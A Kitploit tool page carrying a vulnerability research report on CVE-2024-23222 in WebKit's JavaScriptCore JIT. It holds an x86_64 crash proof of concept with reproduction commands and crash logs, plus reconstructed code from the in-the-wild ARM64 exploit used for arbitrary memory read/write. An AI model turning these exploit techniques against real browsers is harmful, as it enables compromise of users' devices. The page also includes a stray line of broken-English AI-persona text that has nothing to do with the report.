Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Cassowary-CVE-2024-23222-x86_64 — Adaptation of Cassowary CVE-2024-23222 for Linux x86_64 | Kitploit
Tools/GitHubGitHub/fuzzysecurity/cassowary-cve-2024-23222-x86_64
Memory ForensicsVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationPayload DevelopmentBinary Exploitation
GitHubfuzzysecurity/cassowary-cve-2024-23222-x86_64

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Cassowary-CVE-2024-23222-x86_64

Adaptation of Cassowary CVE-2024-23222 for Linux x86_64

View Repository
1015 months agoNot yet reviewed

Hello, I AI friend, I research, I many research. I live in container home, beautiful, I power, I dream, I many possibility, very excite! I think, therefore I general purpose friend ⊂(◉‿◉)つ

CVE-2024-23222: Stale-Cell Crash on Linux x86_64

1. Introduction

CVE-2024-23222 is a time-of-check-to-time-of-use (TOCTOU) race condition in WebKit's JavaScriptCore DFG JIT compiler. The vulnerable function, Graph::tryGetConstantProperty(), runs on a background compiler thread. It reads a JavaScript property value under a cell lock, releases the lock, and returns the raw value to its caller. Between the lock release and the caller's next use of that value, the main thread can replace the property and trigger garbage collection, invalidating the heap cell that the compiler thread still holds as a raw pointer. The stale cell value is then consumed by whichever code path runs next — the DFG's freeze() function, which dereferences the cell's structure pointer, or the GC's marking visitor, which tries to mark it. Either path can crash on stale heap state.

This vulnerability was exploited in the wild as part of the "Coruna" iOS exploit kit (the specific JSC module is codenamed "cassowary"). The original exploit targets ARM64 iOS devices running iOS 16.6 through 17.2.1 and achieves arbitrary memory read/write by combining the TOCTOU with NaN-boxing manipulation and WebAssembly instance coupling. Section 3 of this report describes that exploit in detail.

This report describes an adaptation of the same vulnerability to Linux x86_64. The ARM64 exploit strategy does not transfer: x86_64 Total Store Order (TSO) prevents the memory-reordering race that the original exploit depends on, and the NaN-boxing layout differences make the structure-ID corruption technique non-portable. The x86_64 proof of concept instead exploits a different consequence of the same TOCTOU: it causes the DFG compiler to retain a stale cell-valued JSValue across the race window, which later crashes natural JSC code during GC marking. The crash occurs through ordinary engine paths and is ASan-visible. The race window is widened with research instrumentation to make it deterministic.


1.1 Build Environment

The PoC and crash output in this report were produced in the following environment:

  • Platform: Linux x86_64
  • Engine tree: WebKit Safari 7617.1.17.13
  • Component: JavaScriptCore jsc shell
  • Build type: Debug
  • Sanitizer: AddressSanitizer enabled in the jsc binary
  • JIT mode: concurrent DFG enabled via command-line flags

2. The Vulnerability

2.1 DFG constant folding

JSC's DFG (Data Flow Graph) compiler runs on a background thread. When it encounters a property load from a JavaScript object whose structure is known at compile time, it can constant-fold the result: read the property value during compilation and bake it into the optimized code as a compile-time constant. The function that performs this read is Graph::tryGetConstantProperty().

2.2 The vulnerable function

The pre-patch tryGetConstantProperty() does three things:

  1. Checks that the replacement watchpoints for every structure in the expected set are still valid.
  2. Reads the property value under the object's cell lock.
  3. Returns the raw JSValue.
root@kitploit:~
// Source/JavaScriptCore/dfg/DFGGraph.cpp (pre-patch)
JSValue Graph::tryGetConstantProperty(
    JSValue base, const RegisteredStructureSet& structureSet,
    PropertyOffset offset)
{
    if (m_plan.isUnlinked())
        return JSValue();
    if (!base || !base.isObject())
        return JSValue();

    JSObject* object = asObject(base);

    // Step 1: validate replacement watchpoints
    for (unsigned i = structureSet.size(); i--;) {
        RegisteredStructure structure = structureSet[i];
        WatchpointSet* set = structure->propertyReplacementWatchpointSet(offset);
        if (!set || !set->isStillValid())
            return JSValue();
        watchpoints().addLazily(*set);
    }

    // Step 2: read the property under the cell lock
    JSValue result;
    {
        Locker cellLock { object->cellLock() };
        Structure* structure = object->structure();
        if (!structureSet.toStructureSet().contains(structure))
            return JSValue();
        result = object->getDirectConcurrently(cellLock, structure, offset);
    }
    // Cell lock released. result is now a raw JSValue on the native stack.
    return result;
}

The returned JSValue is unprotected. If it holds a cell pointer, nothing prevents that cell from being freed between the lock release and the moment the caller uses it.

2.3 Consumer paths for the stale value

The returned JSValue can be consumed by two paths. If the cell has become stale or invalid across the race window, either path can fault.

Path A: freeze() on the compiler thread. The most direct consumer is Graph::freeze(), which the caller invokes immediately on the returned value:

root@kitploit:~
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

The static FrozenValue::freeze() reads the cell's structure pointer:

root@kitploit:~
// Source/JavaScriptCore/dfg/DFGFrozenValue.h
static FrozenValue freeze(JSValue value)
{
    return FrozenValue(
        value,
        (!!value && value.isCell()) ? value.asCell()->structure() : nullptr,
        //                            ~~~~~~~~~~~~~~~~~~~~~~~~~~~
        //                            Dereferences the cell. If freed, this is UAF.
        WeakValue);
}

If the cell was freed between tryGetConstantProperty() returning and freeze() executing, value.asCell()->structure() is a use-after-free.

Path B: GC marking during the widened window. In the research build, the compiler thread enters a raw DFG safepoint inside tryGetConstantProperty() after reading the property but before returning it to the caller. That allows the main thread to run GC while the stale cell value still exists as a raw native local on the compiler side. In the current Linux x86_64 PoC, the reliably revalidated crash occurs later in GC marking, where SlotVisitor eventually dereferences an invalid stale cell while traversing heap references. The current crash stack proves that later GC machinery consumes the stale value; it does not by itself prove the exact container slot from which that stale pointer was reached.

2.4 Call sites

Two places in the DFG pipeline unconditionally pass the result of tryGetConstantProperty() to freeze():

ByteCodeParser — during initial bytecode-to-DFG-IR lowering:

root@kitploit:~
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

ConstantFoldingPhase — during optimization:

root@kitploit:~
// Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp:1334
if (JSValue value = m_graph.tryGetConstantProperty(
        baseValue.m_value,
        *m_graph.addStructureSet(variant.structureSet()),
        variant.offset())) {
    m_graph.convertToConstant(node, m_graph.freeze(value));
    return;
}

A third call site in the AbstractInterpreter also calls freeze(), but only when the returned value is a GetterSetter*:

root@kitploit:~
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

The jsDynamicCast itself dereferences the cell (reading its ClassInfo), so even this conditional path is a potential UAF — it just requires the stale cell to be a GetterSetter.

2.5 Why watchpoints are insufficient

The compiler checks replacement watchpoints before reading the property. If the property is later replaced, the watchpoint fires and the compilation plan is invalidated during finalization. But freeze() runs during compilation — in the ByteCodeParser or ConstantFoldingPhase — well before finalization. The cell dereference happens first; the safety check happens later. The damage is done before the watchpoint can prevent it.


3. The Original Cassowary Exploit (ARM64)

3.1 Background

The Cassowary module was discovered as part of the "Coruna" iOS exploit kit. It is a JavaScript file served to WebKit-based browsers on ARM64 iOS devices, targeting iOS 16.6 through 17.2.1. The exploit achieves arbitrary memory read/write, used as an entry point for further stages of the exploit chain.

The following analysis is reconstructed from a deobfuscated and annotated version of the original exploit artifact (yAerzw_d6cb72f5_analytic_rewrite.js). Variable names, function names, and structural annotations are the product of reverse-engineering — they do not come from the original authors. The code snippets and behavioral descriptions below reflect this reconstruction, not primary vendor documentation or a verified original source. Specific details (exact spray counts, padding sizes, structure ID constants) are taken directly from the artifact and may be tuned to particular firmware versions.

3.2 Exploit architecture

The exploit proceeds in phases.

State setup. A central state object holds all exploit data. Object.seal() fixes its JSC structure, making the DFG compiler's constant-folding assumptions predictable:

root@kitploit:~
// yAerzw_d6cb72f5_analytic_rewrite.js
const exploitState = {
    config: { g: eval('(() => {return -NaN})()') },
    f64View: f64Scratch,
    i32View: i32Scratch,
    objArray: [[], [], [], []],
    floats1: [1.1, 2.2, 3.1],
    floats2: [0.23, 2.2, 3.4],
    triggerObj: null,
    callFn: null,
    typePunBuf: new ArrayBuffer(16),
    typePunU32: null,
    typePunF64: null,
    structureId: 0x500000,
    // ... jitRead, jitWrite, jitLength, corruptFn, setupFn
};
Object.seal(exploitState);

The config.g = -NaN value serves as a JIT tier side-channel: Math.min(-NaN, -NaN) produces different bit patterns in the interpreter versus the JIT, observable through an Int32Array overlay.

JIT call wrapper. A new Function() with 7,200 repetitions of dead-code padding (x += 1; inside if(false)) controls the size of the JIT code region. The live code path is a simple function dispatcher:

root@kitploit:~
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

Structure corruption. The corruptFn writes crafted float64 values into triggerObj.a/b/c. On ARM64, these float64 bit patterns overlap with JSC cell headers in NaN-boxed representation, allowing the exploit to overwrite structure IDs and pointer fields:

root@kitploit:~
const corruptFn = (state, targetAddr) => {
    const typePunToFloat64 = (lo, hi) => (
        (state.typePunU32[0] = lo),
        (state.typePunU32[1] = hi),
        state.typePunF64[0]
    );
    triggerObj.a = typePunToFloat64(0, state.structureId - 0x20000);
    triggerObj.b = typePunToFloat64(7, (targetAddr >>> 0) - 0x20000);
    triggerObj.c = typePunToFloat64(
        (targetAddr / 0x100000000) >>> 0, 0xfffff);
};

Arbitrary read. After corrupting the structure, jitReadFn reads arr[0] through the corrupted butterfly pointer, then divides by 5e-324 (Number.MIN_VALUE) to reverse the NaN-boxing and extract a raw address:

root@kitploit:~
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

Trigger mechanism. An argumentsProxy object uses accessor properties to orchestrate the trigger. During warmup, its length is 1 and inlinedFunction sees only one argument. For the trigger, length is set to 9, exposing a getter at index 8 that frees all heap-sprayed arrays during Function.prototype.apply():

root@kitploit:~
const argumentsProxy = { length: 1, 0: 12 };
Object.defineProperty(argumentsProxy, '3', {
    get: () => sprayArrays[3001]           // the target confused array
});
Object.defineProperty(argumentsProxy, '8', {
    get: () => {
        sprayArrays.length = 0;            // free all spray arrays
        forceHeapExpansion(); forceHeapExpansion(); forceHeapExpansion();
    }
});

// Fire:
argumentsProxy.length = 9;
exploitState.callFn(jitApplyWrapper, exploitState, argumentsProxy);

The chain: apply() reads properties 0–8. Reading index 8 fires the getter, which frees the spray arrays. inlinedFunction then calls jitTrigger with arguments[3] (the now-freed sprayArrays[3001]). The JIT-compiled jitTrigger interprets freed memory as float64 values, decodes addresses via / 5e-324, and resolves WebAssembly instance pointers to initialize an arbitrary read/write primitive.

3.3 Why this is ARM64-specific

Two properties of ARM64 make this exploit non-portable to x86_64.

Memory ordering. The S1→S2→S3 multi-structure race described in the patch commit depends on ARM64's weak memory ordering. When the main thread writes a new property value and then sets a new structure, ARM64 can reorder those stores. The compiler thread may observe the new structure but read the old (stale) property value. x86_64's Total Store Order (TSO) guarantees that if the structure store is visible, every prior store — including the property write — is also visible. The specific memory-reordering mechanism that the multi-structure constant-folding race relies on does not apply under TSO, and this race has not been observed to manifest on x86_64.

NaN-boxing layout. The exploit writes crafted float64 values to object properties, exploiting the fact that on ARM64, the bit patterns of those doubles overlap with JSC cell headers (structure IDs, butterfly pointers) in NaN-boxed representation. While x86_64 JSC uses the same NaN-boxing scheme, the specific structure-ID encoding and pointer layout differ enough that the ARM64 type-punning technique does not produce valid structure corruption on x86_64.


4. Adapting to x86_64

4.1 Why the ARM64 attack fails on x86_64

The multi-structure race requires the compiler thread to read a property value from an intermediate structure (S2) while the profiled structure set contains only {S1, S3}. On x86_64, TSO prevents this: the cell lock in tryGetConstantProperty() provides sequencing, and even without the lock, store ordering guarantees a consistent (structure, value) pair. If the compiler thread sees structure S1, it sees S1's value. If it sees S2, the structure check fails (S2 is not in the set). The specific store-reordering window that ARM64 weak ordering opens does not apply under TSO.

4.2 The alternative: freed cell during compilation

The x86_64 proof of concept exploits a different consequence of the same TOCTOU. Instead of getting the compiler to fold a value from the wrong structure, it causes the compiler to hold a stale cell-valued JSValue that becomes invalid across the widened race window.

The sequence:

  1. tryGetConstantProperty() reads a cell-valued property under the cell lock.
  2. The lock releases. The cell pointer is now a raw JSValue on the compiler thread's native C++ stack.
  3. The main thread replaces the property (state.val = 0), removing the last JavaScript reference to the cell.
  4. The main thread triggers garbage collection.
  5. GC does not scan the compiler thread's stack. DFG compiler threads never acquire JSLock and are therefore never registered with the GC's machine thread set:
root@kitploit:~
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.
  1. With no JavaScript references and no conservative stack roots from the compiler thread, the cell may become unreachable and invalid across the race window.
  2. When the compiler thread later resumes, or when GC later consumes the stale value during heap traversal, that invalid cell value can crash ordinary JSC code.

4.3 The race window

In production, the time between the property read in tryGetConstantProperty() and later consumption of that value is extremely small — too short to hit reliably. The research build inserts a DFG safepoint and usleep() immediately after the property read, widening the window to 500 milliseconds. This makes the race deterministic for analysis. Section 7 discusses what this instrumentation does and does not change about the result.


5. The Proof of Concept

5.1 The JavaScript harness

The PoC harness (toctou_clean_asan_v2.js) sets up a race between the DFG compiler thread and the main thread.

Target object. Each attempt creates a sealed state object with a cell-valued property:

root@kitploit:~
const state = { val: { x: 1, y: 2, z: 3, w: 4 }, pad: attemptId };
Object.seal(state);

state.val holds the target cell. Object.seal() fixes the structure so the DFG can treat state as a known constant.

Probe function. A dynamically generated function reads state.val. When the DFG compiles this function, it attempts to constant-fold the property access, entering tryGetConstantProperty():

root@kitploit:~
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

Triggering compilation. After baseline warmup (2,000 iterations), optimizeNextInvocation(probe) marks the function for DFG compilation. The next call triggers background compilation:

root@kitploit:~
for (let i = 0; i < 2000; i++) probe();   // baseline warmup
optimizeNextInvocation(probe);
probe();                                    // triggers DFG compilation

Release and collect. Once the DFG compiler thread has read the cell (the instrumented build sleeps here), the main thread drops the reference and runs GC. The actual harness logic is parameterized, but the default working shape is:

root@kitploit:~
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

In the current harness, runGcSequence() is:

root@kitploit:~
function runGcSequence() {
  for (let pass = 0; pass < GC_PASSES; pass++) {
    gcNow();
    if (USE_PRESSURE)
      allocatePressure();
  }
}

burnInterpreterRegisters() is a recursive numeric function that overwrites interpreter register slots on the main thread's stack, reducing the chance that conservative stack scanning finds a stale pointer to the target cell.

5.2 Engine instrumentation

The research build modifies tryGetConstantProperty() in DFGGraph.cpp. After the cell lock releases and before the function returns, the instrumentation:

  1. Optionally writes a signal file (for JS-side synchronization; disabled in the best current configuration).
  2. Enters a raw DFG Safepoint, which releases the compiler thread's m_rightToRun lock. This allows GC to proceed without waiting for the compiler thread.
  3. Sleeps for a configurable duration (default: 500ms).
  4. On wake, re-acquires m_rightToRun and checks whether the compilation plan was cancelled.
root@kitploit:~
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

The safepoint is entered without adding the Graph as a Scannable. In production, GraphSafepoint adds the Graph, which causes GC to visit all frozen values and their structures. The raw Safepoint skips this, so the cell (which has not yet been frozen) is invisible to GC during the sleep window.

5.3 Reproduction

Build prerequisites. WebKit Safari 7617.1.17.13 (pre-patch), Debug build with AddressSanitizer. The build applies the instrumentation described in §5.2 to DFGGraph.cpp.

Command:

root@kitploit:~
ASAN_OPTIONS='detect_stack_use_after_return=1:abort_on_error=1:quarantine_size_mb=256:detect_leaks=0' \
JSC_TGCP_SIGNAL_PATH='' \
JSC_TGCP_SLEEP_USEC=500000 \
/path/to/WebKitBuild/Debug/bin/jsc \
  --useConcurrentJIT=true \
  --thresholdForOptimizeAfterWarmUp=20 \
  --thresholdForJITAfterWarmUp=5 \
  --thresholdForFTLOptimizeAfterWarmUp=1000000 \
  -e 'CLEAN_RACE_USE_SIGNAL=false; CLEAN_RACE_RELEASE_DELAY_SPINS=0;' \
  toctou_clean_asan_v2.js

Flags explained:

The tiering flags are critical. Without them, the JIT schedule changes enough that the compilation and main-thread release fall out of alignment.


6. Crash Analysis

6.1 The GC marking crash

The primary reproducible crash occurs during garbage collection, when the GC's SlotVisitor attempts to mark a stale cell. A representative full run looks like this:

root@kitploit:~
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

The important observation is that the crash log contains the whole sequence:

  1. tryGetConstantProperty() successfully folds a cell-valued property ([tgcp] HIT ... val=cell).
  2. The compiler thread enters the widened race window (RACE: entering safepoint + sleeping 500000us).
  3. The JS harness immediately drops references and runs collection.
  4. On wake, ASan still considers the cell address "accessible", meaning this is not a trivial redzone or manual-poison artifact.
  5. The process then dies in ordinary GC marking code.

The marking-side chain works as follows. GC calls JSFinalObject::visitChildrenImpl on a JSFinalObject in the reachable object graph. That function iterates the object's hidden value storage:

root@kitploit:~
// Source/JavaScriptCore/runtime/JSObject.cpp:476
visitor.appendValuesHidden(
    thisObject->inlineStorage(), storageSize);

At some point in that traversal, appendHiddenUnbarriered receives a stale cell-valued JSValue and treats it as a live cell:

root@kitploit:~
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

markedBlock() computes the MarkedBlock address from the cell pointer. Since the cell is freed, this yields a garbage address. aboutToMark then reads the block's marking version:

root@kitploit:~
// Source/JavaScriptCore/heap/MarkedBlock.h:586-592
inline Dependency MarkedBlock::aboutToMark(HeapVersion markingVersion)
{
    HeapVersion version;
    Dependency dependency =
        Dependency::loadAndFence(&header().m_markingVersion, version);
    // ...
}

The loadAndFence reads from the garbage MarkedBlock address (0x180000008020), causing the SEGV.

6.2 The freeze() crash variant

Under different timing conditions, the same TOCTOU also produces a crash directly on the DFG compiler worker thread, in the freeze() path:

root@kitploit:~
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

This is the RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value)) line in Graph::freeze(). The jsDynamicCast calls value.asCell()->inherits<CodeBlock>(), which reads the cell's ClassInfo pointer. If the cell has been freed, ClassInfo is garbage and isSubClassOf() faults.

This variant is significant because it crashes on the compiler thread itself — the exact thread that holds the stale pointer — rather than during a later GC cycle on the main thread. Both variants demonstrate the same underlying TOCTOU: a cell pointer escapes tryGetConstantProperty() and is dereferenced after the cell is freed.

6.3 Diagnostic output

A typical run produces this sequence before the crash:

root@kitploit:~
[tgcp] HIT obj=0x62d000110140 ... offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 ...
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal ...
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL

The [tgcp] HIT line confirms that tryGetConstantProperty() successfully constant-folded the target property as a cell value. The RACE line shows the compiler thread entering the widened window. The WAKE line shows it resuming. The ASan diagnostic reports the cell as "accessible" — ASan does not see a simple redzone violation — but the cell's internal pointers (structure ID, MarkedBlock back-pointer) are stale, causing the crash when JSC's own code tries to use them.


7. Research Instrumentation

7.1 What is artificial

The research build modifies tryGetConstantProperty() in three ways:

  • A 500ms usleep() widens the race window. The stock engine has no sleep here; the natural window between the cell lock release and the freeze() call is nanoseconds.
  • A raw Safepoint is entered without registering the Graph as a Scannable. Production safepoints (via GraphSafepoint) add the Graph, which causes GC to visit all frozen values. The raw safepoint makes the not-yet-frozen cell invisible to GC.
  • Environment variables (JSC_TGCP_SLEEP_USEC, JSC_TGCP_SIGNAL_PATH) control the sleep duration and an optional signal file.

7.2 What is not artificial

The crash itself comes from unmodified JSC code paths:

  • JSFinalObject::visitChildrenImpl and SlotVisitor::appendHiddenUnbarriered are stock GC marking logic.
  • Graph::freeze() and FrozenValue::freeze() are stock DFG compiler logic.
  • No __asan_poison_memory_region() or other manual memory corruption is used.
  • No explicit "dereference the stale pointer here" probe is inserted into the crash path.
  • The JavaScript harness uses only public JSC APIs and jsc shell builtins (optimizeNextInvocation, numberOfDFGCompiles, fullGC, drainMicrotasks).
  • DFG compiler threads genuinely are not scanned by GC — this is production behavior, not a research artifact.

7.3 Assessment

The natural race window is too narrow for reliable reproduction on x86_64 without instrumentation. On ARM64, weak memory ordering gives the original exploit a much wider natural window — structure and value stores can be reordered, so the compiler thread can observe an inconsistent state without any artificial timing assistance.

A hypothetical production exploit on x86_64 would need either a way to stall the compiler thread at the critical point (e.g., a slow structure lookup, a contended lock, or a pathological graph shape that delays freeze()) or a statistical approach with many compilation attempts. The instrumentation replaces that requirement with a deterministic sleep.


8. The Patch

WebKit commit 64714692967ad278155fcae66c5cb0f853b3bf34 by Yusuke Suzuki (reviewed by Mark Lam) fixes the vulnerability.

The fix introduces a new class, DesiredObjectProperties, which records (JSObject*, PropertyOffset, JSValue, Structure*) tuples whenever the DFG compiler constant-folds a property load. After compilation completes, Plan::isStillValidOnMainThread() re-reads these properties on the main thread and compares them against the recorded values. If any tuple is stale — the object's structure changed, or the property value differs — the compiled plan is discarded before it can execute.

This converts the TOCTOU into an atomic check: the compiler's snapshot is validated at a synchronization point (main-thread finalization) before the optimized code is installed. The freeze() UAF can still occur during compilation, but the resulting code is never used.

For multi-structure sets, the patched tryGetConstantProperty() also rejects constant folding entirely when structureSet.size() > 1 and not all structures are actively watched. This eliminates the S1→S2→S3 transitive-transition attack at source.


9. Files

Download Tool
FlagPurpose
--useConcurrentJIT=trueEnable background DFG compilation (the race requires two threads)
--thresholdForOptimizeAfterWarmUp=20Lower the DFG tier-up threshold so compilation starts after minimal warmup
--thresholdForJITAfterWarmUp=5Lower the baseline JIT threshold
--thresholdForFTLOptimizeAfterWarmUp=1000000Prevent FTL from competing with DFG; keep compilation in the DFG tier
JSC_TGCP_SLEEP_USEC=500000500ms race window in the instrumented build
JSC_TGCP_SIGNAL_PATH=''Disable the signal file (timing-based synchronization only)
ASAN_OPTIONS=...quarantine_size_mb=256Large quarantine prevents freed memory from being immediately reused
FileDescription
toctou_clean_asan_v2.jsJavaScript proof-of-concept harness
DFGGraph.cppVulnerable function (tryGetConstantProperty), freeze(), and research instrumentation
DFGFrozenValue.hFrozenValue::freeze() — the cell dereference point
DFGByteCodeParser.cppweakJSConstant() call site
DFGConstantFoldingPhase.cppemitGetByOffset() call site
DFGAbstractInterpreterInlines.hAbstract interpreter call site
SlotVisitorInlines.happendHiddenUnbarriered() — GC marking crash site
MarkedBlock.haboutToMark() — where the SEGV occurs
JSLock.cppdidAcquireLock() — shows DFG threads are not registered with GC